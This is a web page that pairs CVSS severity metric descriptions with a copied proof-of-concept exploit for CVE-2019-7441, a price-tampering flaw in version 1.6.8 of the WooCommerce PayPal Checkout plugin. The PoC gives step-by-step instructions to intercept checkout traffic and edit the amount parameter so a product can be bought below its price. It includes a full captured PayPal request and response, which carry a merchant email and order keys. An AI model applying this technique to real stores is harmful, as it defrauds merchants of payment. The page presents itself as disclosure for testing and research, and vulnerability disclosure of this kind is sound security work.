The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: WordPress Plugin PayPal Checkout Payment Gateway 1.6.8 Parameter Tampering
# Exploit Title: cgi-bin/webscr?cmd=_cart in the WooCommerce PayPal Checkout Payment Gateway plugin 1.6.8 for WordPress allows Parameter Tampering in an amount parameter (such as amount_1), as demonstrated by purchasing an item for lower than the intended price
# Date: 27.01.2019
# Product Title :Woocommerce Paypal gateway Plugin
# Vendor Homepage: https://wordpress.org
# Software Link : https://wordpress.org/plugins/woocommerce-gateway-paypal-express-checkout/
# Category: Web Applications Plugin (Wordpress)
# Version: 1.6.8
# Active installations: 700,000+
# Exploit Author: Vikas Chaudhary
# Contact: https://gkaim.com/contact-us/
# Web: https://gkaim.com/
# Tested on: Windows 10 -Firefox .
# CVE-2019-7441
*****************************************************
## VENDOR SUMMARY :- This is a PayPal Checkout Payment Gateway for WooCommerce.
PayPal Checkout allows you to securely sell your products and subscriptions online using In-Context Checkout to help you meet security requirements without causing your theme to suffer. In-Context Checkout uses a modal window, hosted on PayPals servers, that overlays the checkout form and provides a secure means for your customers to enter their account information
## Vulnerability Description => The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control.
This attack can be performed by a malicious user who wants to exploit the application for their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used.
__________________________________
Proof Of Concept:- PoC
1 -Install Woocommerce Paypal checkout gateway plugin (1.6.8) in Remote.
2- Now fix a price of any product and configure it with this plguin.
3- Do checkout through paypal and capture the data from burp.
5- Here you will find post based request with amount parameter- Now Edit amount parameter as you want and forward it .
6- You will see a new price and you can purchase that product on your new edited price.
-------------------
Post REQUEST:-
GET /cgi-bin/webscr?cmd=_cart&business=gkaim100%40gmail.com&no_note=1¤cy_code=INR&charset=utf-8&rm=2&upload=1&return=https%3A%2F%2Fa2zcourse.com%2Fcheckout%2Forder-received%2F798%2F%3Fkey%3Dwc_order_wJp0p80pFSg8V%26utm_nooverride%3D1&cancel_return=https%3A%2F%2Fa2zcourse.com%2Fbasket%2F%3Fcancel_order%3Dtrue%26order%3Dwc_order_wJp0p80pFSg8V%26order_id%3D798%26redirect%26_wpnonce%3D68f71663cb&page_style=A2Zcourse.com&image_url=&paymentaction=sale&bn=WooThemes_Cart&invoice=A2Z-798&custom=%7B%22order_id%22%3A798%2C%22order_key%22%3A%22wc_order_wJp0p80pFSg8V%22%7D¬ify_url=https%3A%2F%2Fa2zcourse.com%2Fwc-api%2FWC_Gateway_Paypal%2F&first_name=dfkjk&last_name=v%3Blbkm&address1=&address2=&city=&state=&zip=&country=&email=sdflmnvkj%40xncv.com&night_phone_b=8908098090&no_shipping=1&tax_cart=0.00&item_name_1=Artificial+Intelligence+2018+Build+the+Most+Powerful+AI&quantity_1=1&amount_1=5000&item_number_1=Artificial+Intelligence+2018 HTTP/1.1
Host: www.paypal.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://a2zcourse.com/checkout/
Connection: close
Upgrade-Insecure-Requests: 1
----------------
Post RESPONSE:--
HTTP/1.1 302 Moved Temporarily
Server: Apache
X-Recruiting: If you are reading this, maybe you should be working at PayPal instead! Check out https://www.paypal.com/us/webapps/mpp/paypal-jobs
Paypal-Debug-Id: 2f8e90a8c5e72
Cache-Control: no-cache
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
content-security-policy: default-src 'self' https://*.paypal.com; script-src 'nonce-iJYgKZYXXhHUAluelfhZan+dO96W5x49hsgMXR3ZPHDRR/SI' 'self' https://*.paypal.com 'unsafe-inline' 'unsafe-eval'; img-src https://*.paypalobjects.com; object-src 'none'; font-src 'self' https://*.paypalobjects.com; form-action 'self' https://*.paypal.com; base-uri 'self' https://*.paypal.com; block-all-mixed-content; report-uri https://www.paypal.com/csplog/api/log/csp
HTTP_X_PP_AZ_LOCATOR: dcg13.slc
Paypal-Debug-Id: 2f8e90a8c5e72
Location: https://www.paypal.com/webapps/hermes?token=13V78288LV2795452&useraction=commit&rm=2&mfid=1548578790132_2f8e90a8c5e72
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
DC: ccg11-origin-www-1.paypal.com
Content-Length: 302
X-EdgeConnect-MidMile-RTT: 219
X-EdgeConnect-Origin-MEX-Latency: 801
Date: Sun, 27 Jan 2019 08:46:30 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: tsrce=xorouternodeweb; Domain=.paypal.com; Path=/; Expires=Wed, 30 Jan 2019 08:46:30 GMT; HttpOnly; Secure
Set-Cookie: ts=vr%3D8e7d19d1168ac1200012cd39fff5bb0f%26vreXpYrS%3D1643249566%26vteXpYrS%3D1548580589%26vt%3D8e7d19d4168ac1200012cd39fff5bb0e; Domain=.paypal.com; Path=/; Expires=Thu, 27 Jan 2022 02:12:47 GMT; HttpOnly; Secure
Set-Cookie: nsid=s%3AU8TmrvBUulZLtqFmT9F1ZeoVNf4dKoAr.slyvmBwJFEJx4Uxt4mNU%2BJH%2BrDf5uxLrKECnBRm%2FQ0I; Path=/; HttpOnly; Secure
Set-Cookie: X-PP-SILOVER=name%3DLIVE5.WEB.1%26silo_version%3D880%26app%3Dxorouternodewebxclick%26TIME%3D3849276764%26HTTP_X_PP_AZ_LOCATOR%3Ddcg13.slc; Expires=Sun, 27 Jan 2019 09:16:30 GMT; domain=.paypal.com; path=/; Secure; HttpOnly
Set-Cookie: X-PP-SILOVER=; Expires=Thu, 01 Jan 1970 00:00:01 GMT
Set-Cookie: AKDC=ccg11-origin-www-1.paypal.com; expires=Sun, 27-Jan-2019 09:16:30 GMT; path=/; secure
Set-Cookie: akavpau_ppsd=1548579390~id=8b5783ec5a9b02390092591f951f54f8; Domain=www.paypal.com; Path=/; Secure; HttpOnly
Strict-Transport-Security: max-age=63072000
<p>Found. Redirecting to <a href="https://www.paypal.com/webapps/hermes?token=13V78288LV2795452&useraction=commit&rm=2&mfid=1548578790132_2f8e90a8c5e72">https://www.paypal.com/webapps/hermes?token=13V78288LV2795452&useraction=commit&rm=2&mfid=1548578790132_2f8e90a8c5e72</a></p>
---------------------------------------------------------
___________________________________
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum